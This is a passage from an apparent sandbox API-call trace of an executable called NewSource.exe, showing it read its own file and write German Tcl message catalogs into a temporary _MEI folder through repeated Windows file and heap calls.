(dwErrCode=0x0) [0037.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg") returned 61 [0037.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.034] GetLastError () returned 0x2 [0037.034] SetLastError (dwErrCode=0x2) [0037.034] GetLastError () returned 0x2 [0037.035] SetLastError (dwErrCode=0x2) [0037.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg", lpFilePart=0x0) returned 0x3c [0037.035] GetLastError () returned 0x2 [0037.035] SetLastError (dwErrCode=0x2) [0037.035] GetLastError () returned 0x2 [0037.035] SetLastError (dwErrCode=0x2) [0037.035] GetLastError () returned 0x2 [0037.035] SetLastError (dwErrCode=0x2) [0037.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg") returned 61 [0037.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.035] GetFileType (hFile=0x10c) returned 0x1 [0037.035] htonl (hostlong=0xc6040000) returned 0x4c6 [0037.035] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.035] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4c6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4c6, lpOverlapped=0x0) returned 1 [0037.036] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.036] CloseHandle (hObject=0x10c) returned 1 [0037.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550788 | out: hHeap=0x530000) returned 1 [0037.037] htonl (hostlong=0x30000000) returned 0x30 [0037.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.037] GetFileType (hFile=0x10c) returned 0x1 [0037.037] htonl (hostlong=0x923b5700) returned 0x573b92 [0037.037] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5beb92, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.037] htonl (hostlong=0x25010000) returned 0x125 [0037.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x125) returned 0x550600 [0037.037] htonl (hostlong=0x25010000) returned 0x125 [0037.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.037] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.038] htonl (hostlong=0x2c030000) returned 0x32c [0037.038] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x32c) returned 0x550730 [0037.038] htonl (hostlong=0x25010000) returned 0x125 [0037.038] htonl (hostlong=0x2c030000) returned 0x32c [0037.038] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.038] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.038] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.038] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.038] CloseHandle (hObject=0x10c) returned 1 [0037.038] GetLastError () returned 0x0 [0037.038] SetLastError (dwErrCode=0x0) [0037.038] GetLastError () returned 0x0 [0037.038] SetLastError (dwErrCode=0x0) [0037.038] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.038] GetFileType (hFile=0x10c) returned 0x1 [0037.038] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.038] CloseHandle (hObject=0x10c) returned 1 [0037.038] GetLastError () returned 0x0 [0037.039] SetLastError (dwErrCode=0x0) [0037.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.039] GetFileType (hFile=0x10c) returned 0x1 [0037.039] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.039] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.039] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.039] CloseHandle (hObject=0x10c) returned 1 [0037.039] GetLastError () returned 0x0 [0037.039] SetLastError (dwErrCode=0x0) [0037.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg") returned 64 [0037.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de_at.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.039] GetLastError () returned 0x2 [0037.039] SetLastError (dwErrCode=0x2) [0037.039] GetLastError () returned 0x2 [0037.039] SetLastError (dwErrCode=0x2) [0037.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg", lpFilePart=0x0) returned 0x3f [0037.039] GetLastError () returned 0x2 [0037.039] SetLastError (dwErrCode=0x2) [0037.039] GetLastError () returned 0x2 [0037.040] SetLastError (dwErrCode=0x2) [0037.040] GetLastError () returned 0x2 [0037.040] SetLastError (dwErrCode=0x2) [0037.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg") returned 64 [0037.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_at.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de_at.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.040] GetFileType (hFile=0x10c) returned 0x1 [0037.040] htonl (hostlong=0x2c030000) returned 0x32c [0037.040] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.040] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x32c, lpOverlapped=0x0) returned 1 [0037.042] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.042] CloseHandle (hObject=0x10c) returned 1 [0037.043] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550730 | out: hHeap=0x530000) returned 1 [0037.043] htonl (hostlong=0x30000000) returned 0x30 [0037.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.043] GetFileType (hFile=0x10c) returned 0x1 [0037.043] htonl (hostlong=0xb73c5700) returned 0x573cb7 [0037.043] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5becb7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.043] htonl (hostlong=0x78010000) returned 0x178 [0037.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x178) returned 0x550600 [0037.043] htonl (hostlong=0x78010000) returned 0x178 [0037.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.044] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.044] htonl (hostlong=0xc7040000) returned 0x4c7 [0037.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4c7) returned 0x550780 [0037.044] htonl (hostlong=0x78010000) returned 0x178 [0037.044] htonl (hostlong=0xc7040000) returned 0x4c7 [0037.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.044] CloseHandle (hObject=0x10c) returned 1 [0037.044] GetLastError () returned 0x0 [0037.044] SetLastError (dwErrCode=0x0) [0037.044] GetLastError () returned 0x0 [0037.044] SetLastError (dwErrCode=0x0) [0037.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.044] GetFileType (hFile=0x10c) returned 0x1 [0037.044] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.044] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.044] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.044] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.044] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.044] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.044] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.044] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.045] CloseHandle (hObject=0x10c) returned 1 [0037.045] GetLastError () returned 0x0 [0037.045] SetLastError (dwErrCode=0x0) [0037.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.045] GetFileType (hFile=0x10c) returned 0x1 [0037.045] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.045] CloseHandle (hObject=0x10c) returned 1 [0037.045] GetLastError () returned 0x0 [0037.045] SetLastError (dwErrCode=0x0) [0037.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg") returned 64 [0037.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de_be.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.045] GetLastError () returned 0x2 [0037.046] SetLastError (dwErrCode=0x2) [0037.046] GetLastError () returned 0x2 [0037.046] SetLastError (dwErrCode=0x2) [0037.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg", lpFilePart=0x0) returned 0x3f [0037.046] GetLastError () returned 0x2 [0037.046] SetLastError (dwErrCode=0x2) [0037.046] GetLastError () returned 0x2 [0037.046] SetLastError (dwErrCode=0x2) [0037.046] GetLastError () returned 0x2 [0037.046] SetLastError (dwErrCode=0x2) [0037.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg") returned 64 [0037.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\de_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\de_be.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.046] GetFileType (hFile=0x10c) returned 0x1 [0037.046] htonl (hostlong=0xc7040000) returned 0x4c7 [0037.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.046] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4c7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4c7, lpOverlapped=0x0) returned 1 [0037.047] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.047] CloseHandle (hObject=0x10c) returned 1 [0037.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.048] htonl (hostlong=0x30000000) returned 0x30 [0037.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.048] GetFileType (hFile=0x10c) returned 0x1 [0037.048] htonl (hostlong=0x2f3e5700) returned 0x573e2f [0037.048] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bee2f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.048] htonl (hostlong=0xec010000) returned 0x1ec [0037.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ec) returned 0x550600 [0037.048] htonl (hostlong=0xec010000) returned 0x1ec [0037.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.048] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.048] htonl (hostlong=0xcc080000) returned 0x8cc [0037.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8cc) returned 0x55e278 [0037.048] htonl (hostlong=0xec010000) returned 0x1ec [0037.048] htonl (hostlong=0xcc080000) returned 0x8cc [0037.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.049] CloseHandle (hObject=0x10c) returned 1 [0037.049] GetLastError () returned 0x0 [0037.049] SetLastError (dwErrCode=0x0) [0037.049] GetLastError () returned 0x0 [0037.049] SetLastError (dwErrCode=0x0) [0037.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, 